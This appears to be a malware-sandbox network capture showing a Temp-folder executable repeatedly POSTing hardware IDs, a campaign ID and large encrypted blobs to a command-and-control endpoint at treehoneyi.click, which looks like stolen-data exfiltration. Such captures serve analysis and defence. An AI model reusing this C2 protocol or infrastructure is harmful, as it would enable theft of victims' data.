2	192.168.2.4	49826	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:31 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PK76OF1P1EO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18123 Host: treehoneyi.click
2024-12-19 19:11:31 UTC	15331	OUT	Data Raw: 2d 2d 50 4b 37 36 4f 46 31 50 31 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 4b 37 36 4f 46 31 50 31 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 4b 37 36 4f 46 31 50 31 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 50 4b 37 36 4f 46 31 50 31 45 4f 0d 0a 43 6f Data Ascii: --PK76OF1P1EOContent-Disposition: form-data; name="hwid"B1761921A8417898AC8923850305D13E--PK76OF1P1EOContent-Disposition: form-data; name="pid"2--PK76OF1P1EOContent-Disposition: form-data; name="lid"rAGxSF--Support--PK76OF1P1EOCo
2024-12-19 19:11:31 UTC	2792	OUT	Data Raw: ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-19 19:11:32 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n76jl4g72n7mjsai68sdncvvdj; expires=Mon, 14 Apr 2025 12:58:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HkSFDJWVCxOFl10QijdLnVOP77xTl%2FEA%2BOuJwvDdmVxByn66fWPshqCYD5cx0eRAFGDyydWIMSV1Va%2BLJfwOSBADDL2p1W18fcFWFgT5YzSH41OxGMGXIkt9EP0xLtdHTzP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b2f12f1418fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1511&rtt_var=578&sent=18&recv=22&lost=0&retrans=0&sent_bytes=2840&recv_bytes=19078&delivery_rate=1876606&cwnd=128&unsent_bytes=0&cid=6a249904ca9046a8&ts=995&x=0"
2024-12-19 19:11:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 19:11:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49832	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:34 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3TC99R1PEZQ9GX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8762 Host: treehoneyi.click
2024-12-19 19:11:34 UTC	8762	OUT	Data Raw: 2d 2d 33 54 43 39 39 52 31 50 45 5a 51 39 47 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 54 43 39 39 52 31 50 45 5a 51 39 47 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 54 43 39 39 52 31 50 45 5a 51 39 47 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 33 54 43 39 39 52 Data Ascii: --3TC99R1PEZQ9GXContent-Disposition: form-data; name="hwid"B1761921A8417898AC8923850305D13E--3TC99R1PEZQ9GXContent-Disposition: form-data; name="pid"2--3TC99R1PEZQ9GXContent-Disposition: form-data; name="lid"rAGxSF--Support--3TC99R
2024-12-19 19:11:35 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjuibvp3h1uloam26ulh7i98g3; expires=Mon, 14 Apr 2025 12:58:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mMWfsh8ZtxA%2BWgYq8aQkkOqrWyhUFco0ww5ubLkoNTLIJNHqcgo83QTRCPTYZEsixH8hBDtbTdWNmWTaQfnGg%2Fp3eQwdtPJwlUMEH1MRALT1c2llsvrJYaPr%2BFYrW%2FNdFa0q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b2fff9258c06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1834&min_rtt=1821&rtt_var=710&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2840&recv_bytes=9697&delivery_rate=1512953&cwnd=163&unsent_bytes=0&cid=5baffb73596fbb28&ts=871&x=0"
2024-12-19 19:11:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 19:11:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49843	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:36 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B5QUFYWEE3CERL6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20421 Host: treehoneyi.click
2024-12-19 19:11:36 UTC	15331	OUT	Data Raw: 2d 2d 42 35 51 55 46 59 57 45 45 33 43 45 52 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 35 51 55 46 59 57 45 45 33 43 45 52 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 35 51 55 46 59 57 45 45 33 43 45 52 4c 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 42 35 51 Data Ascii: --B5QUFYWEE3CERL6Content-Disposition: form-data; name="hwid"B1761921A8417898AC8923850305D13E--B5QUFYWEE3CERL6Content-Disposition: form-data; name="pid"3--B5QUFYWEE3CERL6Content-Disposition: form-data; name="lid"rAGxSF--Support--B5Q
2024-12-19 19:11:36 UTC	5090	OUT	Data Raw: 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-19 19:11:37 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtkh7ki7pd9l911sp6cnrk4m8p; expires=Mon, 14 Apr 2025 12:58:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pScqs5KtMIWWi4YDhAn5pLwqT6hsrCCHMM4So1uj8MTZJ3wWYPQc2NKvO0IV%2F6NGb1dwifULIrkmvumx9rWgzcbNr8ChnvsPjP9JI9Dx0mccB29in6md7AnzVDdV4clKOLsh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b30eaaf042d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&min_rtt=1622&rtt_var=632&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21380&delivery_rate=1800246&cwnd=245&unsent_bytes=0&cid=09527c6cf3f060dc&ts=966&x=0"
2024-12-19 19:11:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 19:11:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49850	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:39 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9RYAMLJD4W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1217 Host: treehoneyi.click
2024-12-19 19:11:39 UTC	1217	OUT	Data Raw: 2d 2d 39 52 59 41 4d 4c 4a 44 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 52 59 41 4d 4c 4a 44 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 52 59 41 4d 4c 4a 44 34 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 39 52 59 41 4d 4c 4a 44 34 57 0d 0a 43 6f 6e 74 65 6e Data Ascii: --9RYAMLJD4WContent-Disposition: form-data; name="hwid"B1761921A8417898AC8923850305D13E--9RYAMLJD4WContent-Disposition: form-data; name="pid"1--9RYAMLJD4WContent-Disposition: form-data; name="lid"rAGxSF--Support--9RYAMLJD4WConten
2024-12-19 19:11:40 UTC	1124	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 19:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e959iipn5t99kcevntvu0m38md; expires=Mon, 14 Apr 2025 12:58:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QRPjJIoDJv%2Bfm%2FyRSR257zxUaDt6h06ywskh%2FTwZQsNVVeYDWJPpAlIlu5jLuwZTUVbTw7aLqZW9SxEBGGr8LkyPK2YeH3Qs0zBoXXjO74do97SimkJhHNAGv2vyjbsV%2BB5i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f49b31f9f3e8c12-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1792&rtt_var=688&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2126&delivery_rate=1573275&cwnd=177&unsent_bytes=0&cid=4ca966a888656a36&ts=787&x=0"
2024-12-19 19:11:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 19:11:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49858	104.21.91.209	443	4488	C:\Users\user\AppData\Local\Temp\1017818001\81c86993fb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 19:11:42 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M6DXRN6KAKHY1OHBP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551619 Host: treehoneyi.click
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: 2d 2d 4d 36 44 58 52 4e 36 4b 41 4b 48 59 31 4f 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 37 36 31 39 32 31 41 38 34 31 37 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4d 36 44 58 52 4e 36 4b 41 4b 48 59 31 4f 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 36 44 58 52 4e 36 4b 41 4b 48 59 31 4f 48 42 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d Data Ascii: --M6DXRN6KAKHY1OHBPContent-Disposition: form-data; name="hwid"B1761921A8417898AC8923850305D13E--M6DXRN6KAKHY1OHBPContent-Disposition: form-data; name="pid"1--M6DXRN6KAKHY1OHBPContent-Disposition: form-data; name="lid"rAGxSF--Support
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: 25 2b 22 b2 c2 92 ab 97 fa 56 08 12 fc 3d 47 95 a0 70 38 e2 99 7b dc 4b 01 7d ab 88 27 1e bc 6c 69 2f 28 43 c3 77 c4 82 1f 65 2b 37 dc fc b8 6f 00 25 26 43 cb be b9 d9 27 57 54 b9 71 a1 8d 7d e6 22 d9 1b 7f 45 44 5f 8a c9 1e 79 bd 99 73 7f c0 e0 16 15 17 af 6a 5b f8 11 77 4c 2f bb d1 5f 1d 7c be cf 0c 79 a9 5e ab 26 1d c1 b7 71 db fc 39 68 df 14 ce ea 86 a8 87 c2 63 79 c1 3d 1e 9d 43 2d c6 04 8c 5c 29 62 88 4c 2d c2 fd 95 b2 db 30 f9 63 14 1b 24 89 0c 05 8c cd 91 b7 49 b1 71 85 e5 e8 bd e0 cf b0 9e b7 ab f3 bd cc 01 fc cb d7 ed d7 37 f7 09 6f 45 bb 4b 8d e7 7a b1 fd 50 3b c0 59 23 bd 81 b0 73 75 12 69 e2 72 51 0c a2 40 4a e4 d2 dc 83 b1 11 b2 62 2c 1c 1e cd bc 13 e8 28 09 93 1f 92 e7 46 8d df 8f b2 e2 05 92 b3 3e 38 24 7d f2 23 48 a2 9e 0b 93 b6 ab d4 cf Data Ascii: %+"V=Gp8{K}'li/(Cwe+7o%&C'WTq}"ED_ysj[wL/_\|y^&q9hcy=C-\)bL-0c$Iq7oEKzP;Y#suirQ@Jb,(F>8$}#H
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: ec d9 0e 22 9c cb 12 84 08 c5 08 a5 9c 2a 19 95 3d f9 b7 06 55 8d 1b 16 10 2c cb fd 19 2a 61 bc 5f 2c ff 30 a5 22 b7 a8 c0 b3 80 5c eb 20 b2 dc 8b a3 1b 1d b4 55 ad 21 4a 7b 7d 7b dd 1a 4e e8 b1 5c d1 0b fe d4 78 8c 46 e0 71 d6 54 a7 5d 5b ed 1c 19 27 b9 25 df 8b 9d 67 a3 e4 35 57 bb 14 05 79 33 2c b5 55 0a a6 54 7b 73 5c a6 e1 dc c6 f9 c0 dc b2 6b 95 bc cf 05 ab 9a 33 87 e1 e8 8b bf 7f 5b 61 3a f2 42 2a 9b 44 8f 76 2e 5c 5b 3f 1e 52 2f aa f7 b8 db 99 19 1e d2 7f 4d 60 52 cd ab e1 7f 8a b9 95 12 20 02 0a df 7e ef 9e d8 ae 5d 78 ac 3d d3 c7 29 e4 eb cd 9d 21 5c 5e 7d 56 56 1a 63 c1 d8 32 ba d0 cf 76 72 32 e9 af ca c9 fa 8a 20 96 74 cf c1 d6 32 d1 e6 a3 21 52 c3 25 dd 19 2d 9d 81 99 ac 6c 68 d3 49 bf de 32 42 3e 6b 89 71 68 b5 7a af e9 b4 d5 fb 56 aa 8c 34 Data Ascii: "=U,a_,0"\ U!J{}{N\xFqT]['%g5Wy3,UT{s\k3[a:B*Dv.\[?R/M`R ~]x=)!\^}VVc2vr2 t2!R%-lhI2B>kqhzV4
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: b9 dd 36 16 a2 31 c7 ec cc 53 6c 3b 2b 38 71 dd a2 da 8e e5 c1 74 7c b9 37 43 b5 65 65 f0 94 cc 74 79 a9 df 3c b5 b4 e3 b4 a3 c9 3f ac 8e 67 46 66 b3 69 8a a3 74 72 70 f9 c8 00 f5 b1 e2 38 7b e8 73 c1 20 95 36 30 2f ab 6e be b9 bc 62 f1 37 ae 40 b2 da cf fb dd b6 7a ab ec bd e4 b5 ca 3c 25 52 59 ee dc cc 23 ec b5 be a9 98 19 99 d9 1a 7c 57 de 3c 66 9d f3 cb 6e 31 87 d8 35 e0 fb ed 63 60 da 35 4c df 66 67 e1 58 ca f2 c7 3a c7 c1 3d 81 b9 57 96 db 7e ef d7 cc 23 30 ed 93 6e 21 b9 15 fb c4 0d 8f bd 7e 73 c3 f2 40 f6 a9 a9 e1 df c6 8e 36 cc 71 fb 4f de 15 7c 39 06 72 48 51 4c bf e3 32 11 79 89 11 94 3c bf bf dc da 5f 68 7e 76 36 24 6a 64 3c 67 15 e4 59 17 3d c4 ad cb 28 e5 00 c6 7e 34 dd 7b e8 d6 fb c7 a0 2a 1f 13 3a 22 00 a6 29 45 5d 65 42 a0 bb f0 c2 ec 78 Data Ascii: 61Sl;+8qt\|7Ceety<?gFfitrp8{s 60/nb7@z<%RY#\|W<fn15c`5LfgX:=W~#0n!~s@6qO\|9rHQL2y<_h~v6$jd<gY=(~4{*:")E]eBx
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: 51 ef 7b b8 12 c5 3f c5 6f dc 14 7a fc 98 3e fe 11 dd de 68 d7 c0 9e ec c6 ab a7 7b c2 0c 1d 77 7d da 50 cb e8 fa 47 de 49 ed d7 75 31 d3 be 13 e5 95 32 0f 1f be a5 d4 bd 54 b0 d2 f9 20 f2 38 04 62 f8 d4 d5 a8 2f 58 43 82 da 21 ac 86 76 63 a7 5c 38 4f 11 b6 11 17 5c cb e2 26 39 7c 38 37 e1 b7 2d 2b 7d f4 aa 4e 77 bc 19 c4 b9 77 76 a4 cc dd 78 15 85 0e 97 11 c1 b9 d9 15 a9 65 a9 38 9e b9 d6 1d f7 95 c0 a0 81 f6 0f d2 75 46 3f 4f 87 d6 38 41 b5 78 a0 7a 2e d7 33 4f d8 b4 a2 01 80 bc cd 55 c9 81 a2 ed d5 e3 70 e0 b7 5c a3 a1 63 52 33 d7 2f 91 df ea 86 fa cc 09 00 9c fc c6 a9 ea e1 54 e7 33 0c 59 dd 1c 92 2f 36 ea 38 f9 64 91 7a 40 83 3d c4 f1 ff 62 2b ad a3 1a 41 bd ee 99 47 52 c0 48 90 4c 5a f9 5b d0 11 ff 6d 3f 39 bb 1c d6 98 e4 49 0c 38 d4 5a df 3e 5b db Data Ascii: Q{?oz>h{w}PGIu12T 8b/XC!vc\8O\&9\|87-+}Nwwvxe8uF?O8Axz.3OUp\cR3/T3Y/68dz@=b+AGRHLZ[m?9I8Z>[
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: 81 1a 3d 44 68 8e 2e b6 76 88 cd 57 ba 31 6f fe 69 8f 62 df 4c 39 a3 45 4d 70 00 ea 33 06 fe 49 92 4d af f1 a8 2a fc c4 88 fe 60 01 d7 b1 13 71 e7 bb 37 37 83 2f 81 40 18 96 00 b7 fa 35 ba 96 64 90 68 59 7a f6 ad b7 50 1b c6 87 77 ce ed df e7 ea a4 c1 f1 58 fa ae cc a6 d4 c6 75 03 ab 23 7b 08 3e e8 25 07 e7 2a 99 8e 8b 19 0e 38 10 f5 c0 08 f9 1a 37 8c 59 8f f4 b8 27 f9 eb 8b bc 58 86 16 f7 ba 4e 24 5c 67 2b 8e af df ac c1 12 14 fa 61 2f 89 eb 4a 25 9f e7 48 c9 5c 99 c0 6a 7c 4b b8 f3 7d a0 e5 f8 b2 f0 d8 77 01 dc 65 70 52 58 64 ec 4b d0 cf b3 2e e3 98 a5 80 bf 49 f6 99 69 92 b0 7a ee b7 e7 39 46 91 c1 69 bf 85 e2 b8 b1 43 96 4a 29 65 1b 62 1b ba 89 cf 72 54 08 bb 17 0a 66 ab 78 17 7c f6 2a ae 83 49 cf 48 e5 84 f5 29 50 f8 f8 17 1e a8 1e e4 5e d4 82 ce 8f Data Ascii: =Dh.vW1oibL9EMp3IM`q77/@5dhYzPwXu#{>%87Y'XN$\g+a/J%H\j\|K}wepRXdK.Iiz9FiCJ)ebrTfx\|*IH)P^
2024-12-19 19:11:42 UTC	15331	OUT	Data Raw: ba 27 ea 8d f1 43 f6 bf 72 e5 8a 60 e2 7e ec 3f d7 aa d0 4c 33 e8 82 10 08 47 c3 31 4c 46 2d 1e 14 55 00 91 1d 20 b8 1e e0 30 b0 71 33 43 13 e0 99 0e 66 c2 6c ec a1 eb a0 a0 53 eb e9 7e 60 7b 45 39 b7 78 92 de bc d3 1e 4b 4b ba 93 4d 28 ac 38 64 e1 42 7f 1c 46 1f 10 f3 7e 8c 44 00 82 96 31 01 80 32 f2 92 69 94 6b 35 95 de 8b f2 96 8b 19 9c f4 0d 4a 36 aa 5b 99 43 66 b1 b5 3d 5f fa 8a 1f 0d a7 a3 39 e6 48 38 a2 4f b5 a1 28 d1 95 e8 a4 6e 83 f0 80 e7 12 8e ae 74 c2 fa 94 a0 20 c4 44 20 71 5e f1 03 98 1f 8f 61 a3 59 2d 8d c5 01 c9 b9 a3 e9 b5 34 4c 44 8f 50 41 31 19 1b 0f e2 a2 24 73 3e 6e aa 70 9d a9 13 69 14 6f 07 85 28 7d 74 d7 b1 82 2b ca a9 92 51 9e 2a a5 21 42 7f 4e e3 30 56 2c ae 88 e9 dc db 7e 5a 95 b8 c5 31 87 5c f3 a3 16 09 ce 7b 5f 85 90 85 61 61 Data Ascii: 'Cr`~?L3G1LF-U 0q3CflS~`{E9xKKM(8dBF~D12ik5J6[Cf=_9H8O(nt D q^aY-4LDPA1$s>npio(}t+Q*!BN0V,~Z1\{_aa
